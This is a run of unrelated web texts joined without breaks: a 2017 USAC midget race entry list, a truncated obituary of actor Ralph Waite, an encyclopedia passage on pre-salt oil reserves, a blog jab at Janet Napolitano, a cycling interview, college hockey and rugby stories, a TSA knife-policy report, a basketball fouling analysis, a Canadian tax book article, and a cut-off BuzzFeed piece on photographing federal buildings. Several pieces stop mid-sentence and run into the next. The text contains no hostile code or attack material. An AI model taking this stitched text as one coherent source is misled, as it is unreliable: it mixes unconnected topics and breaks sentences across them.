the series calendar, annually boasting a large car count and a star-studded field to boot. The 55-lap event honors the memory of one of USAC’s most accomplished car owners – Walter “Junior” Knepper of Belleville, Illinois – whose famed yellow number 55 midgets and sprint cars raced to 58 career USAC feature victories, including 34 in Sprints and 24 in Midgets, with drivers Bob Wente, Tom Bigelow, Mel Kenyon, George Snider, Dana Carter, Rich Vogler and his son Steve Knepper. Nick Knepper, grandson of Junior and son of 13-time USAC National Midget winner Steve Knepper, will promote the event along with Derek LeMaster. Cars are scheduled to hit the track at 4pm (Central). Pits open at 10am and spectator gates open at 3pm. A format utilizing passing points will be used to seed the feature lineups. The event will be streamed LIVE on http://www.SpeedShiftTV.com/. You can also catch on-demand coverage of the event a day after the race on http://www.Loudpedal.TV/. 56 CARS ENTERED AS OF DECEMBER 9, 2017: CAR # / DRIVER / HOMETOWN / TEAM 0 KEVIN WOODY, JR./Victor, NY (Buckwalter Motorsports) 0B MIKE McSPARIN/Stonefort, IL (Mike McSparin) 1cc CLAYTON CHRISTENSEN/Spencer, IA (Jody Rosenboom Racing) 1ST SHANE COTTLE/Kokomo, IN (Daryl Saucier/Shane Hmiel) 1T TONY RONEY/Herculaneum, MO (Tony Roney) 3 ALEX WATSON/Columbus, OH (3W Racing) 3B AUSTIN BLAIR/St. Louis, MO (Jim Neuman) 3N JAKE NEUMAN/New Berlin, IL (Jim Neuman) 3s BRIAN SHIRLEY/Chatham, IL (Jim Neuman) 5 CHASE BRISCOE/Mitchell, IN (Chase Briscoe Racing) 5c COLTEN COTTLE/Kansas, IL (Rick Cottle) 5x DANNY FRYE/St. Charles, MO (Danny Frye Motorsports) 6D DON DAWSON II/Indianola, IA (Don Dawson II) 7 GIO SCELZI/Fresno, CA (Clauson Marshall Racing) 7BC TYLER COURTNEY/Indianapolis, IN (Clauson Marshall Racing) 7JR J.D. BLACK/Grain Valley, MO (J.D. Black) 7K JUSTIN PECK/Monrovia, IN (Kenny & Reva Irwin) 9JR DEREK HAGAR/Marion, AR (Hagar/Proctor Racing) 9K KYLE SCHUETT/Philo, IL (Schuett Racing) 9p PARKER PRICE-MILLER/Kokomo, IN (Scott Ronk) 11 BRENT BEAUCHAMP/Fairland, IN (Brent Beauchamp) 12w BILLY WEASE/Noblesville, IN (Amanda Wease) 14R JODY ROSENBOOM/Rock Rapids, IA (Jody Rosenboom Racing) 15m SHANE MORGAN/Morton, IL (Morgan Motorsports) 15s JIM PICARDI/Mapleton, IL (Morgan Motorsports) 17B TANNER BERRYHILL/Bixby, OK (Tucker/Boat Motorsports) 17BC RICKY STENHOUSE, JR./Olive Branch, MS (Clauson Marshall Racing) 17w SHANE GOLOBIC/Fremont, CA (Clauson Marshall Racing/Matt Wood) 18 TONY BRUCE, JR./Liberal, KS (Tony Bruce, Jr.) 21 CHRISTOPHER BELL/Norman, OK (Keith Kunz/Curb-Agajanian Motorsports) 23LL LEE LENGEL/Wellsville, KS (Lee Lengel) 25p DYLAN PETERSON/Sioux Falls, SD (Vance Peterson) 25s ALEX SCHRIEVER/Sioux Falls, SD (Vance Peterson) 29 JOEY MOUGHAN/Springfield, IL (Tom Casson) 32 TREY MARCHAM/Newcastle, OK (Trey Marcham) 32x NICK HAMILTON/Danville, IN (Nick Hamilton) D33 JACOB PATTON/Bethalto, IL (Jeff & Jill Davis) 35 TYLER ROBBINS/Bethalto, IL (Tyler Robbins) 39 ZEB WISE/Angola, IN (Clauson Marshall Racing) 39BC JUSTIN GRANT/Ione, CA (Clauson Marshall Racing) 41 HOWARD MOORE/Memphis, TN (Chris Chappue) 50 DANIEL ADLER/St. Louis, MO (Adler Motorsports) 55D NICK DRAKE/Sherrills Ford, NC (Troy Cline) 56x MARK CHISHOLM/Cheyenne, WY (Fifty6x Race Team) 57D DANIEL ROBINSON/Ewing, IL (McCreery Motorsports) 66 TBA (Amati Racing) 67 MATT CRAFTON/Tulare, CA (Keith Kunz/Curb-Agajanian Motorsports) 71K TANNER CARRICK/Lincoln, CA (Keith Kunz/Curb-Agajanian Motorsports) 77u CHRIS URISH/Elkhart, IL (Tom Casson) 84 CHAD BOAT/Phoenix, AZ (Tucker/Boat Motorsports) 88 TERRY BABB/Harristown, IL (Terry Babb) 91 TYLER NELSON/Kansas City, KS (Harris Racing) 91A CHRIS R. ANDREWS/Sandusky, OH (Tyler Thomas Motorsports) 93K RILEY KREISEL/Warsaw, MO (DKR Motorsports) 95 CHRIS L. ANDREWS/Tulsa, OK (Miller Racing) 99p DILLON WELCH/Carmel, IN (Scott Ronk)The man who played the patriarch on CBS’ long-running series The Waltons has died. Ralph Waite was 86. He starred for nine seasons on the Depression-era drama as John Walton Sr., who eked out a living at the family lumber mill on Walton’s Mountain. He also directed more than a dozen episodes of the hourlong series, which ran from 1972-81 and was followed by a series of telefilms. He scored an Emmy nom for the role in 1978. Waite’s acting credits date to the mid-1960s, appearing in TV series including Bonanza and N.Y.P.D. and later as slave ship mate Slater in the landmark miniseries Roots, a key supporting role that earned Waite his first Emmy nom. He also worked on the big screen, including roles in the classic films as Cool Hand Luke and Five Easy Pieces. After The Waltons, Waite worked regularly in TV and film. The White Plains,The pre-salt layer was formed in restricted basins in the South Atlantic due to the break-up of Gondwana and arid climates The pre-salt layer is a diachronous series of geological formations on the continental shelves of extensional basins formed after the break-up of Gondwana, characterised by the deposition of thick layers of evaporites, mostly salt. Some of the petroleum that was generated from sediments in the pre-salt layer, has not migrated upward (see salt dome) to the post-salt layers above.[1] This is especially common off the coast of Africa and Brazil. The total oil reserves are thought to be a significant fraction of the world's reserves.[2][3] According to Petrobras, the oil and natural gas lie below an approximately 2,000 metres (6,600 ft) thick layer of salt, itself below in places more than 2,000 metres (6,600 ft) of post-salt sediments, in water depths between 2,000 and 3,000 metres (6,600 and 9,800 ft) in the South Atlantic. Drilling through the rock and salt to extract the pre-salt oil and gas is very expensive. Pre-salt layer in Brazil and Angola [ edit ] Schematic diagram showing pre-salt layers and halokinesis; the movement of salt over geologic time The current findings from Petrobras and other companies in the province of the pre-salt, located in the Brazilian continental shelf, can mean reserves of over 50 billion barrels of oil, a volume four times greater than the current national reserves, roughly 14 billion barrels. In this province, there may be large oil and natural gas reserves located under salt layers that extend for 800 kilometers along the Brazilian coast – from the state of Santa Catarina coast to the coast of Espírito Santo – up to 200 km wide. Some estimates give the total area of the pre-salt as 122,000 km2. Of this total, concessions have already been granted for 41,000 km2 and 71,000 km2 have not yet been tendered. Pre-salt oil is of good quality, although it is found in reserves that are in deep-sea areas and under thick layers of salt, requiring large-scale investment to extract it. Since 2006, Petrobras has drilled 11 oil wells in the Santos Basin, near Rio de Janeiro state. All these oil wells have been successful. At the prospects of Tupi and Iara alone, which are located in the BM-S-11 block, Petrobras already estimates that there are 8 to 12 billion barrels of recoverable oil. This block alone can almost double the current Brazilian oil reserves. The first pre-salt discoveries in Angola were the Denden-1 well in block 9 in 1983, operated by Cities Services at the time, and the Baleia-1A well on block 20 in 1996, operated by Mobil (now ExxonMobil). Both blocks are now operated by the U.S.—based Cobalt International Energy. The Danish company Maersk Oil made the first recent pre-salt discovery in the Kwanza Basin in late 2011 with the Azul well on block 23. Maersk continues to study the results of the well and plans to appraise it. Cobalt has had the most success with presalt exploration in Angola, making multiple presalt well discoveries in blocks 20 and 21 (Cameia, Mavinga, Lontra, Bicuar, and Orca). In January 2011, Angola announced that it awarded 11 pre-salt offshore blocks in the Kwanza basin, following a closed licensing round in which a few selected IOCs were invited. IOCs that were awarded blocks include Petrobras, Maersk Oil, Cobalt, BP, Repsol, Total, Eni, ConocoPhillips, and Statoil. Some of those companies have slowed their investments in Angola's pre-salt, and some wells have been closed and abandoned. The combination of disappointing results and geological complexity, compounded by the low-oil-price environment, has resulted in reduced investment in Angola's pre-salt areas.Department of Homeland Security Secretary Janet Napolitano is playing games with words: Homeland Security Secretary Janet Napolitano has an explanation about why she never mentioned the word “terrorism” during her first testimony on Capitol Hill. Napolitano tells the German news site Spiegel Online that while she presumes there is always a threat from terrorism: “I referred to “man-caused” disasters. That is perhaps only a nuance, but it demonstrates that we want to move away from the politics of fear toward a policy of being prepared for all risks that can occur.” So terrorism is now a “man-caused disaster.” I guess that means that murder is a “man-caused interruption in life”, that arson is “man-caused carbonization”, and that, you know, freedom is slavery. When she does something like this, I can’t help but think that Napolitano either doesn’t take terrorism seriously as a threat or that she’s just incompetent. In either case, she doesn’t belong in charge of American domestic security.Former Tour de France green jersey wearer Djamolidine Abdoujaparov was a guest of honour Tour d’Azerbaidjan and CyclingTips’ editor Matt de Neef had a chance to sit down with the man affectionately known as ‘The Tashkent Terror’ to get his thoughts on the sprinters of today and what he’s now up to. Abdoujaparov, now 50 years old, was regarded by many as the best sprinter of his era, and clocked up a total of nine Tour de France stages plus the points classification in each of the Grand Tours. However he also had a reputation as a rider who was dangerous, a perception reinforced by his famous crash in the 1991 Tour when he rode into the barriers on the finishing straight of the Champs Elysees. He also earned a different sort of reputation when he failed a number of doping tests in 1997, his final pro year. CyclingTips: What’s your impression been of the racing in Azerbaijan this week? My impression is of a week-long sporting festival. It’s really nice, the people are rejoicing and I’ve seen the passion of the people for this sport and I only wish that it would never end! CT: What have you been up to since you retired from cycling? Djamolidine Abdoujaparov: I’m still in cycling. I go to a lot of races around the world where I’m invited as a guest of honour and I really enjoy this. I also tried to be a coach, to have my own team but, you know, I’m an old-school cyclist and it doesn’t fit well with the new school. And I don’t want to change because I think the old school is better. So I’m still waiting for my moment — it might still come to fruition that I have my own team but not as yet. What are some of the differences between the old-school and the new-school, in terms of sprinting? What’s changed since your time? DA: Well sprinting tactics haven’t changed much but what has changed significantly is the level of autonomy of the riders during the race. Now, with race radios, they all listen to tips from the coaches and there is less independence and spontaneity in the race. Before it was much more unpredictable and interesting because riders themselves had to be good tacticians — you had no-one to rely on, you had to think with your own mind. Now he’s just relying on what he’s hearing in his ear. If something goes wrong — maybe the radio goes bad — then he’s lost. The old school was different and I think it was better. CT: Are there sprinters today that remind you of yourself, with that ability to read the race rather than simply listening to instructions? DA: No, not really. Maybe Cavendish — but to a very little degree — because he looks like he’s a bit more lively. I say “lively” purposefully because the riders now, to me they look like robots. There is a life after cycling. If these people blindly follow their coach all the time, every stage, year after year, after 30 when they retire will they still wait for the coach to tell them what to do? We have to be autonomous or spontaneous in our lives. Maybe that is what I miss in modern day cycling very much. CT: Does that make it hard for you to watch and enjoy sprinting today? Or are there sprinters you enjoy watching? DA: I always enjoy a good fight, and if there is fight then it’s enjoyable. If you have a [lead-out] train where the people are being set up in position you only need to hammer it at the end, but during the race you don’t have to work very hard. You are being protected from the left and right. In my time we were doing everything ourselves. Of course there was still some kind of team tactics but it wasn’t developed to this level and so we had to do a lot of things ourselves. There was winds from right, winds from the left, we were fighting for position. Now it’s almost automatic and that’s not enjoyable to me anymore, it really detracts from the joy of watching cycling. So whenever there is a different approach, then I like it. I like more spontaneous races. CT: If you had to sprint against Marcel Kittel, Mark Cavendish and Andre Greipel in your prime, who would win? (Without hesitation and with a hand motion like swatting a fly) DA: I would be able to pick off any of them. All of them. No problem. CT: Do you think we’re seeing a cleaner sport now than we did in the last 10-15 years? DA: Difficult for me to say. I just don’t follow these things so I don’t know exactly what’s happening. It looks to me like either it is too clean, which is good, or it’s too sophisticated. It’s the same thing, and everything is developing. Maybe team chemistry [ed. I took this to mean sports science] is developing in different ways so I don’t know. The speeds are very high, that’s for sure, but I don’t know if that’s due to better training or something else. CT: Are you still riding your bike? Yes, for myself. On bicycle lanes I do it of course all the time but not on the road. When I was riding on the road [during my career] there were very few cars on the road. Now there’s too many cars and I don’t enjoy it any more. Bicycle lanes are fine for my own enjoyment.Love-Hate St. Lawrence-Clarkson Battle Was Everything You Could Ask For by Joshua Seguin/Staff Writer For the ECAC, as a league, it had already won when its quarterfinal matchups lined up and were announced. One of the two North Country teams would be playing in the league final four in Lake Placid, just over an hour and a half from both schools. Just when the conference tournaments didn't need to be any more exciting, one of the forgotten 'big' rivalries in the country got underway between Clarkson and St. Lawrence in the North Country on Friday. "It was a good environment," Clarkson coach Casey Jones said. "Our players had been looking forward to it all week." "This rivalry is arguably on of the best in college hockey, if not in all of college sports," Clarkson captain Paul Geiger said. "It is very easy to get up for a game like this and we are very fortunate to be able to play in a series like this." The two schools are separated by just 11 miles and have played each other regularly, but none recently as meaningful as last weekend's quarterfinal series. It was a blast from the past into a rivalry that is up there with the best of them. It also marked the first time since 2010 the two schools met in the ECAC tournament. "I thought our team handled the emotion of the series well," SLU coach Greg Carvel said. "We talked about when we play a series, it isn't just one night. We just have to continue our gameplan and win battles all series." Both schools have dipped in recent years, but both teams are again on the ups. St. Lawrence made the ECAC final four last season and will make its second appearance in a row next weekend. It last won the ECAC tournament in 2001, one year after going to the Frozen Four. Clarkson, has not made it to the championship weekend, since it won its last title in 2007. Its last Frozen Four appearance was 1991. The crowds arrived early both nights, as the mob outside the building waiting to get inside grew. It grew so large, that it wrapped around the building. Sweaters of both teams, mostly SLU, could be seen outside in a rather warm weekend for this part of the Northeast. "It was good, every time we play Clarkson it is huge," St. Lawrence captain Brian Ward, who scored Friday's OT winner, said. "Then we added the playoffs and the whiteout, it was amazing. They bring their band too, which ups the noise. It is just so much fun to play in front of pretty much the whole student body." As soon as the teams entered the ice for warmups, it was loud. When the teams entered for introductions it was louder and the anthems was sung by all fans, making for a festive hockey environment. Then the chants started, as the puck dropped and both teams were well represented. the environment just got bigger, and better. Festive is a good word because any good hockey crowd is as such. "The atmosphere is pretty cool because this is a pretty big rivalry," SLU freshman Jacob Pritchard said. "It was pretty nerve-wracking at first, I was shaking in warmups but it ended up to be pretty fun." At the end of the day, though, both teams were vying for a spot in the league semifinals. "I think the rivalry gets trumped by the playoffs," Carvel said. "Now you are playing to keep playing. When you are in a rivalry game, it is great because you want to win, but this is the playoffs you want to win because you want to win. "It is great to have a full building and great to have the rivalry. People around town will get emotional about it, but I think for me and Casey (Jones) we just want to keep winning hockey games. It made for a great atmosphere." The action, passion and environment is why players play college hockey. St. Lawrence's Appelton Arena is a special place and once again it proved its might on this weekend. It might be small, but it also makes for a cozy, loud building. Ultimately St Lawrence won the series and will play an hour and a half down the road in Lake Placid, where it will be the de-facto home team much like it was last season falling in the semifinals to Colgate in overtime. Last year we should remember, Harvard used its quarterfinal series win against its rival Yale as momentum as it went on to the title as a six seed. "I agree that it was big because it wasn't just playoff games for us, it was rivalry games," Carvel said. "They really played tough and it really brought the best out of us and we saw success. I really liked the fact that we had to play a series like that, which was very demanding. We are as healthy as we have been all year long." This series, despite a SLU sweep, couldn't have been closer. Both games went to overtime. Both teams had its moments where one team was better and in Saturday night's thrilling closing game, SLU needed a goal from Gavin Bayreuther to win it. Both games, could have easily gone the other way and it could be Golden Knights fans getting excited for the final weekend of the ECAC season. "Words can't describe what this meant, it is a dream come true being able to knock off Clarkson," SLU junior Gavin Bayreuther told the Watertown Daily Times. "You dream when you come to play here, that you will play Clarkson and especially here at Appelton. It was just a fun experience." The Saints and Golden Knights are similar hockey teams in style and split the regular season series. Just like the league, fans won when these teams played. It probably was two of the better games the fans of either of these teams have seen in many years. Something says it could be on a bigger stage in the league soon enough and that SLU might just use the experience to its advantage this weekend.Federal officials said they are delaying a policy that would allow passengers to carry small knives, bats and other sports equipment onto airliners. The Transportation Security Administration said Monday the policy change has been delayed to accommodate feedback from an advisory committee made up of aviation industry, consumer and law enforcement officials. The TSA proposed the policy change last month, saying it would free up the agency to concentrate on protecting against greater threats. TSA screeners confiscate about 2,000 small folding knives from passengers every day. The policy change also included small baseball bats, up to two golf clubs per passenger, hockey sticks and lacrosse sticks. When the initial policy change was made, many passengers, pilots and flight attendants across the country were outraged that people would be allowed to bring small knives with them on an airplane. Frequent flier Rich Kashian said he is against letting passenger have pocket knives on planes. "I don't like it," Kashian said. "I travel every week and I don't think they should. It's that simple." Traveler Solly Williams said she isn't sure. "I don't know honestly. I have mixed feelings on whether or not a pocket knife should be allowed. I think we've all learned how to conform to the current rules. I trust the people that make the rules based on what they've seen people try to get on to the planes all the time." The policy was to go into effect Thursday. TSA officials said the delay is only temporary and no date has been set yet for when the change will start. Meanwhile, FAA officials released a statement about the ongoing delays at airports nationwide: As a result of employee furloughs due to sequestration, the FAA is implementing traffic management initiatives at airports and facilities around the country. Travelers can expect to see a wide range of delays that will change throughout the day depending on staffing and weather related issues. For example, the FAA is experiencing staffing challenges at the New York and Los Angeles En Route Centers and at the Dallas-Ft. Worth and Las Vegas TRACONs. Controllers will space planes farther apart so they can manage traffic with current staff, which will lead to delays at airports including DFW, Las Vegas and LAX. The FAA also expects delays at Newark and LaGuardia because of weather and winds. The FAA will continue to work with the airlines throughout the day to try and minimize delays for travelers. We encourage all travelers to check their flight status and also to visit fly.faa.gov for the latest airport delay information. Yesterday more than 1,200 delays in the system were attributable to staffing reductions resulting from the furlough. There were more than 1,400 additional delays as a result of weather and other factors.West Harbour fly-half Tayler Adams has claimed the highest honours at the Catchpole Awards night, being named the Shute Shield's Player of the Year. MORE: Former Wallaby Brett Papworth recovering after heart attack Adams was the recipient of the Ken Catchpole Medal despite his side missing out on the finals by just one competiton point. Other nominees included Warringah's Hamish Angus, Gordon's Paul Balakena, Parramatta's Andrew Cox and Waldo Wessels, Randwick's Andrew Deegan, Eastwood's Tom Hill, Southern District's Rohan Saifoloi and Luke Smart as well as Sydney University's Jake Wainwright. The Pirates playmaker was delighted to be held in such high regard, with the competition boasting plenty of talented names that were all, in his eyes, equally as worthy of the award. ''There's a lot of great players thoroughout the competition and I think that showed throughout the year with the coverage that we keep getting so it's a huge honour for me, just not for me but for my family and West Harbour and everyone at the club,'' Adams said after receiving his medal. West Harbour strung together a seven-game winning streak at the back end of the year against formidable opponents including finals contenders Manly, Randwick and Eastwood, falling short of the top four after a loss to 11th placed Parramatta earlier in the year hurt their finals case. It was a massive turn around after dropping their first three fixtures, momentum that Adams believes the club can build on in 2018. ''We knew it was going to be hard early on in the first few games just getting our team together, but once we started to understand each other more and the culture and what we were about, it was quite hard to stop us and I think that showed in the last rounds against teams like Manly where we showed we really could play,'' he said. The Player of the Year award is voted by the tournament's referees on a 3-2-1 scoring basis over the 18 competiton rounds. Points are awarded on the basis of a player's consistency and contribution throughout a match, their point of difference in the game as well as overall best and fairest.Head coach Mike Brey of the Notre Dame Fighting Irish huddles with his players late in the second half against the Kentucky Wildcats. Photo by Andy Lyons/Getty Images Over the summer, inspired by events in last year’s Elite Eight, I investigated whether it was feasible to foul when the game is tied and the shot clock is off. There are many things to consider when determining if the strategy has merit. The tl;dr version of my analysis is that if the defending team doesn’t have a great chance to win in overtime and the offense is in the single bonus, the math often works out in favor of fouling. Especially if the offense has poor free-throw shooters. For example, if you’re N.C. State against Houston in the 1983 title game, it’s the smart move. Jim Valvano’s club refused to let Houston have the last shot in a tie contest, and even after a rather poorly executed final possession of its own, won it … on the dunk. Notre Dame found itself in a similar situation in Cleveland before ultimately losing to Kentucky 68–66 on Saturday night. The undefeated Wildcats had the ball after an Irish turnover in a tie game with the shot clock off and just under 35 seconds left. As with N.C. State, Notre Dame did not have probability on its side. First, the Irish had to stop the Wildcats with their overmatched defense, and second, it had to outscore Kentucky over the ensuing five minutes of overtime, where Kentucky would probably have the first possession due to its nation-leading prowess in winning jump balls. The other option to waiting for Kentucky to take the final shot was for Notre Dame to intentionally foul Andrew Harrison, the first Wildcat to touch the basketball, and (theoretically) give itself the final possession with a chance to win the game. Barring an offensive rebound, the upside of that play is that one of the nation’s best offenses, already having the most efficient game that a Kentucky defense had seen this season, would have a chance to decide the outcome. There are two pieces of information we need in order to evaluate the fouling option. First, we need to estimate Kentucky’s chance of rebounding a missed free throw. Nationally, teams grabbed about 13 percent of their free throw misses last season. The Wildcats are one of the best offensive rebounding teams in the country and Notre Dame is poor at rebounding opponents’ free throws compared with other power-conference teams. At the same time, Kentucky was not in a desperate situation and probably wouldn’t have sold out for an offensive board for fear of fouling. I’d give them a 20 percent chance of rebounding a missed free throw. We also need to estimate Notre Dame’s chance of winning by playing defense. The betting markets had the Irish at about 12 percent to win before the game. Based on this specific matchup and according to my win probability model, the Irish would have had a 20 percent chance of winning by playing defense. This figure is based on historical data and accounts for the small possibility that the Irish would get the ball back anyway—which they ultimately did trailing 68–66 with six seconds left—and the larger possibility of overtime. The decision would have been a mathematical no-brainer had Kentucky not been so good at free-throw shooting. Point guard Andrew Harrison, who took the ball up court on the final play, had made more than 78 percent of his attempts this season. Still, assuming Harrison would have been fouled early in the possession, Notre Dame’s chance of winning would have improved to about 23 percent. That’s a boost of 3 percentage points, and there are few decisions a coach can make that will improve his team’s chance of winning by that much. It is fair to wonder whether the Irish truly had just a 20 percent chance to win by playing defense, considering we had just seen them go toe to toe with UK for more than 39 minutes. Based on my calculations, it turns out that fouling would have been the optimal strategy even if we assumed Mike Brey’s team had as much as a 27.5 percent chance to win by playing defense. Actually, the break-even point is probably greater than that because my framework doesn’t consider that the Irish were much better on offense than defense. It’s important to note that in 615 cases over the past five years, the defending team has won 34.5 percent of the time, and presumably most of those games involved more competitive matchups than Notre Dame vs. Kentucky was expected to be. So it’s hard to imagine Notre Dame’s chances at higher than 30 percent by playing defense. It’s understandable that a coach that has seen his team play an opponent evenly wouldn’t feel like a huge underdog, and perhaps I’m underestimating Notre Dame’s chances. Given that fouling will be heavily criticized if the team loses—and the defending team will probably lose regardless of the strategy chosen—few coaches are in a position to risk their reputation in this situation, even if a close examination of history suggests there are times when it is correct to do so.Canada’s tax bills may have eased somewhat in the past decade, but a Calgary author says Canadians are still paying too much to the government — and getting too little of value in return. In the mostly revised second edition of Tax Me I’m Canadian! Your Money and How Politicians Spend It, Mark Milke writes Canada has moved from a “lavish welfare state” to an “entitlement state” whose citizens remain largely unaware of how their social programs are paid for. “The entitlement state now means that people think businesses should be subsidized when they’re going under, such as Chrysler and GM. It means that despite the fact that we’re pouring a lot of money into aboriginal affairs, people think the remedy for the poor social indicators is even more money in even more remote locations,” he said. People think the remedy for the poor social indicators is even more money in even more remote locations Although the tax burden has decreased from the late ‘90s, Mr. Milke said Canadians are still paying too much compared to other OECD states. The country is more heavily taxed now than it was during Pierre Trudeau’s era. Mr. Milke released the first edition of Tax Me I’m Canadian! in 2002 when he was a director with the Canadian Taxpayers Federation. He’s since become a fellow at the Fraser Institute. His new book, which launched Monday in Calgary, features 80% new material. In the new edition, Mr. Milke argues that jurisdictions that hinder the resource sector are in fact hampering their efforts to pay for increasingly pricey pensions and programs. “There’s a lack of understanding about what brings home the economic bacon in Canada, and it ain’t windmills and it ain’t hiring more government workers. It’s men and women who are in the resource sector.” Even Alberta is moving to address public-sector pension liabilities. In Newfoundland, Mr. Milke said, the government recently allocated $2-billion to the teachers’ pension fund. “That was the equivalent of two-and-a-half years of personal income tax revenue in the province,” he said. “Ontario did the same thing. The Ontario government will be putting $2.1-billion into the Ontario public service pension plan — that $2.1-billion could buy a subway extension in the city of Toronto.” That $2.1-billion could buy a subway extension Mr. Milke said the Fathers of Confederation always envisioned Canada as a low-tax haven. “They always thought it was a good idea for Canada to have much lower taxes than the U.S. because, even back then, competition for immigration and skilled workers was fierce,” he said. Mr. Milke insists he is not anti-tax, and acknowledges moderate taxation is required. “But in reality, we’ve moved from a welfare state to an entitlement state where many politicians and too many Canadians think there’s an endless pot of gold out there,” he said. National Post • Email: jgerson@nationalpost.com \| Twitter: jengersonUnless you like getting your camera taken from you. On July 16 and 17, I visited seven different government bureaucracies throughout Washington, D.C., so I could photograph how ugly their architecture was. Are you ready for the secret behind how I did it? You sure you want to know? I stood on the public sidewalks in front of the buildings, along with all the other tourists and pedestrians, took pictures, and then hopped on my bike and went to the next building. I did not cross any police barriers, nor did I ever take any photos inside the buildings. And while it is very obvious that you are being watched... ...there are definitely no signs prohibiting you from taking pictures of the massive, ugly buildings from the street. I mean, from the street, right? Big tourist town, right? That's why I found it so odd that I was confronted by federal police, and often told to leave, at six of the seven stops. This restrictive behavior is totally different from what many department and agency officials will tell you. 1. The Federal Bureau of Investigation: On Thursday, a spokesperson for the FBI told BuzzFeed that you can take photos outside of the building, adding: "Tourists do it all the time." But when I tried to take this photo of a building entrance......police stopped me, telling me that "only photos of the front of the building" are allowed. Then, I was approached by an armed bike cop who questioned further why I was taking photos. The bike cop rode a few yards behind me while I walked the remaining circumference of the building. He stayed in this spot until I walked across the street and left. 2. The U.S. Post Office Building A spokesperson for the U.S. Post Office did not return BuzzFeed's calls for comment. When I tried to take photos there......after taking the above photo of the public, ahem, SpongeBob mailbox, an armed security guard approached. He told me the pictures I was taking were "suspicious" and said I was not allowed to take them. "This is a public sidewalk, why not?" I asked. He then told me I was no longer allowed on the property and to go across the street immediately. I asked, from across the street, why I could not come any closer to the building. He said, "You would not want people taking photos of your office, would you?" Ultimately, he asked me to leave. 3. The Department of Health and Human Services On Friday, a spokesperson for HHS told BuzzFeed that there is "no restriction on photos of our building,

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